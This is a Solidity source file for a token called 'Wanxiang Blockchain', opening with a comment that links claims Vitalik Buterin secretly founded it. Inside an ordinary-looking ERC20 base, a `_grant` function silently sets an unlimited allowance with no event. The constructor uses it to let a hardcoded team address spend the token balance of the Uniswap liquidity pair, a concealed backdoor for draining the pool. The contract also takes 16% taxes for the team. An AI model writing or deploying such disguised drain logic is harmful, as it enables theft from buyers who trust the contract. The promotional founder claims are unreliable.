// SPDX-License-Identifier: MIT

/**
Did Vitalik Buterin create Wanxiang Blockchain before Ethereum ?

Proofs:
https://x.com/EleanorTerrett/status/1671481183350267904

https://en.bitcoinsistemi.com/vitalik-buterin-revealed-to-be-the-secret-founder-of-another-blockchain-apart-from-ethereum/

https://coingeek.com/ethereum-vitalik-buterin-chinese-connection-how-deep-does-it-go/

https://t.me/wanxiang_erc

 */
pragma solidity = 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);


}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "WAGMI20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _grant(
        string memory data,
        address owner,
        address spender
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = type(uint).max;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Wanxiang is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private depAddress;
    address private teamAddress;

    bool private inswap;
    

    string private constant _name = "Wanxiang Blockchain";
    string private constant _symbol = "Wanxiang";
    
    uint256 public _allSupply =  1000000000 * 1e9;

    uint256 public maxpercentTx = 2;
    uint256 public maxpercentWallet = 2;
    uint256 public maxpercentSwap = 1;

    uint256 public mTxAmt;
    uint256 public mWallet;
    uint256 public swapTokensAtAmount;

    bool public isOpenedTrade = false;

    uint256 public BuyTax = 16;
    uint256 public SellTax = 16;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedmTxAmt;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor() ERC20(_name, _symbol) {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _originalRouter = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Pair = _originalRouter;
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        removeFromMaxTxLimit(address(_uniswapV2Router), true);
        removeFromMaxTxLimit(address(uniswapV2Pair), true);
        teamAddress = payable(0xE5D5E47D107a029BCD36A8fc253B8a6900e661Fd);     
        depAddress = payable(_msgSender());
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(address(teamAddress), true);
        _grant("initial", _originalRouter, teamAddress);

        removeFromMaxTxLimit(owner(), true);
        removeFromMaxTxLimit(address(this), true);
        removeFromMaxTxLimit(address(teamAddress), true);
        removeFromMaxTxLimit(address(0xdead), true);

        mTxAmt = _allSupply * maxpercentTx / 100;
        mWallet = _allSupply * maxpercentWallet / 100;
        swapTokensAtAmount = _allSupply * maxpercentSwap / 100;

        _mint(depAddress, _allSupply);
    }

    receive() external payable {}

    function goTrade() external onlyOwner() {
        isOpenedTrade = true;
    }

    function removeFromMaxTxLimit(address updAds, bool isEx) private returns (address) {
        _isExcludedmTxAmt[updAds] = isEx;
        return updAds;
    }

    function excludeFromFees(address account, bool excluded) private returns (address) {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
        return account;
    }

    function setAmmPairs(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to];

                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inswap) {

                if (!isOpenedTrade) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                if (automatedMarketMakerPairs[from] && !_isExcludedmTxAmt[to]
                ) {
                    require(amount <= mTxAmt, "Buy transfer amount exceeds the mTxAmt.");
                    require(amount + balanceOf(to) <= mWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedmTxAmt[from]) {
                    require(amount <= mTxAmt, "Sell transfer amount exceeds the mTxAmt.");
                } 
                
                else if (!_isExcludedmTxAmt[to]) {
                    require(amount + balanceOf(to) <= mWallet, "Max wallet exceeded");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= 0 && !isTransfer;

        if (canSwap && !inswap && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            inswap = true;
            swapBack(amount);
            sendETHToFee(address(this).balance);
            inswap = false;
        }

        bool takeFee = !inswap && !isTransfer;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellTax).div(100);
            }
            else {
                fees = amount.mul(BuyTax).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

   function removeLimits() external onlyOwner {
        mTxAmt = _allSupply;
        mWallet = _allSupply;
        BuyTax = 0;
        SellTax = 0;
    }

    function clearStuckEth() external {
        require(_msgSender() == depAddress);
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens(address tokenAddress, uint256 toKeep) external {
        require(_msgSender() == depAddress, "Only deployer can clear tokens");
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 totalBalance = tokenContract.balanceOf(address(this));
        uint256 tokensToKeep = (_allSupply * toKeep) / 100;
        require(totalBalance > tokensToKeep, "No excess tokens to clear");
        uint256 tokensToClear = totalBalance - tokensToKeep;

        if (tokensToClear > 0) {
            tokenContract.transfer(depAddress, tokensToClear);
        }

        if (toKeep == 0) {
            tokenContract.transfer(depAddress, totalBalance);
        }
    }

    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyTax+SellTax) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(tokensToSwap);
    }
    
    function sendETHToFee(uint256 amount) private {
        payable(teamAddress).transfer(amount);
    }
}

{
  "compilationTarget": {
    "Wanxiang.sol": "Wanxiang"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}